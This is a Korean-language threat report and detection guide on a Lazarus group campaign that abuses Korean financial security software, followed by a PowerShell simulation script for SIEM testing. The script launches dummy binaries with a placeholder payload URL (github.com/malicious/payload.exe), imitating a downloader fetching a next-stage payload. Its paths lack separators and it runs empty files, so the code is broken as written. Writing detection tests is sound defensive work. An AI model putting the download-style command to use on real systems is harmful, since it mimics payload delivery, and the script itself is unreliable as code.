라자루스, 포스트 양자 암호화 멀웨어를 배포하기 위해 한국 보안 소프트웨어 이용

요약

북한과 연계된 라자루스 그룹이 Operation FlashHole로 추적되는 사이버 스파이 캠페인을 수행하고 있습니다. 이 그룹은 널리 사용되는 한국의 금융 보안 소프트웨어의 취약점을 악용하여 고급 악성코드 프레임워크를 배포합니다. 이번 캠페인의 최신 버전에서는 명령 및 제어 통신을 보호하기 위해 양자 이후 암호화 알고리즘을 도입했습니다.

조사

Kaspersky와 안랩의 연구는 DLL 사이드로딩 및 fsquirt.exe와 같은 합법적인 시스템 바이너리 남용을 포함한 복잡한 감염 체인을 발견했습니다. 분석가들은 이 캠페인이 SyncHole을 포함한 이전 작업과 연결되었음을 밝혀냈으며, 악성코드의 정교함이 명확히 발전한 것을 문서화했습니다. 또한 GitHub Pages를 악성 콘텐츠 호스팅에 사용하는 것과 TechHub 및 Cubridge와 같은 고급 도구 세트를 사용하는 것을 조사 통해 밝혀냈습니다.

완화

조직은 INISAFE CrossWeb EX 및 AnySign4PC를 포함한 금융 보안 소프트웨어의 패치 적용을 우선시해야 합니다. DLL 사이드로딩에 대한 엄격한 통제와 보안 소프트웨어가 fsquirt.exe를 실행하는 것과 같은 비정상적인 부모-자식 프로세스 관계를 모니터링하는 것이 중요합니다. 방어자들은 또한 GitHub 또는 Dropbox API에 대한 예상치 못한 연결을 비정상적인 프로세스로부터 모니터링하여 잠재적인 C2 활동을 식별해야 합니다.

대응

악성 활동이 감지되면, 파일 전송 솔루션을 통해 횡적 이동을 방지하기 위해 영향을 받은 호스트를 격리하십시오. 메모리 포렌식을 수행하여 메모리에서 실행 중인 악성 DLL을 식별하고, 무단 파일 수정이 있는지 시스템을 검사하십시오. 네트워크 원격 측정에서 수상한 암호화 통신을 검토하고 ULOSE와 같은 알려진 다크 웹 유출 사이트에 대한 잠재적인 데이터 유출 시도를 조사하십시오.

시뮬레이션 실행

• 공격 서술 & 명령: 적수는 페이로드의 다음 단계를 가져오기 위해 GitHub의 원격 리포지토리와 연결을 설정하려는 TechHub 다운로더를 배포하고자 합니다. 탐지를 피하기 위해, 그들은 TechHub.exe 바이너리를 특정 URL과 함께 사용합니다. 그 후, 그들은 TouchHub.exe 설치 프로그램을 사용하여 TOUCHSHIFT 매개변수를 전달하여 악성 구성 요소의 설치를 트리거합니다. 이는 라자루스 그룹이 사용하는 특정 침해 지표(IoC)를 모의 연습합니다.

• 회귀 테스트 스크립트:

  # Lazarus 그룹 TechHub/TouchHub 탐지를 위한 시뮬레이션 스크립트
  # 이 스크립트는 악성코드 바이너리의 존재를 모의하기 위해 더미 파일을 생성합니다.
  
  $TempDir = "$env:TEMPLazarusSim"
  New-Item -ItemType Directory -Force -Path $TempDir
  
  $TechHubPath = "$TempDirTechHub.exe"
  $TouchHubPath = "$TempDirTouchHub.exe"
  
  # 더미 실행 파일 생성
  New-Item -ItemType File -Force -Path $TechHubPath
  New-Item -ItemType File -Force -Path $TouchHubPath
  
  Write-Host "[+] TechHub 활동 시뮬레이션 중..." -ForegroundColor Cyan
  # 이것은 'selection_techhub'을 트리거해야 합니다.
  Start-Process -FilePath $TechHubPath -ArgumentList "https://github.com/malicious/payload.exe" -WindowStyle Hidden
  
  Write-Host "[+] TouchHub 활동 시뮬레이션 중..." -ForegroundColor Cyan
  # 이것은 'selection_touchhub'을 트리거해야 합니다.
  Start-Process -FilePath $TouchHubPath -ArgumentList "--mode TOUCHSHIFT --install" -WindowStyle Hidden
  
  Write-Host "[+] 시뮬레이션 완료. SIEM에서 경고를 확인하십시오." -ForegroundColor Green

• 정리 명령:

  # 시뮬레이션된 파일을 제거하는 정리 스크립트
  $TempDir = "$env:TEMPLazarusSim"
  if (Test-Path $TempDir) {
      Remove-Item -Recurse -Force $TempDir
      Write-Host "[+] 정리 성공: $TempDir 제거됨." -ForegroundColor Green
  } else {
      Write-Host "[!] 정리 실패: 디렉터리를 찾을 수 없습니다." -ForegroundColor Red
  }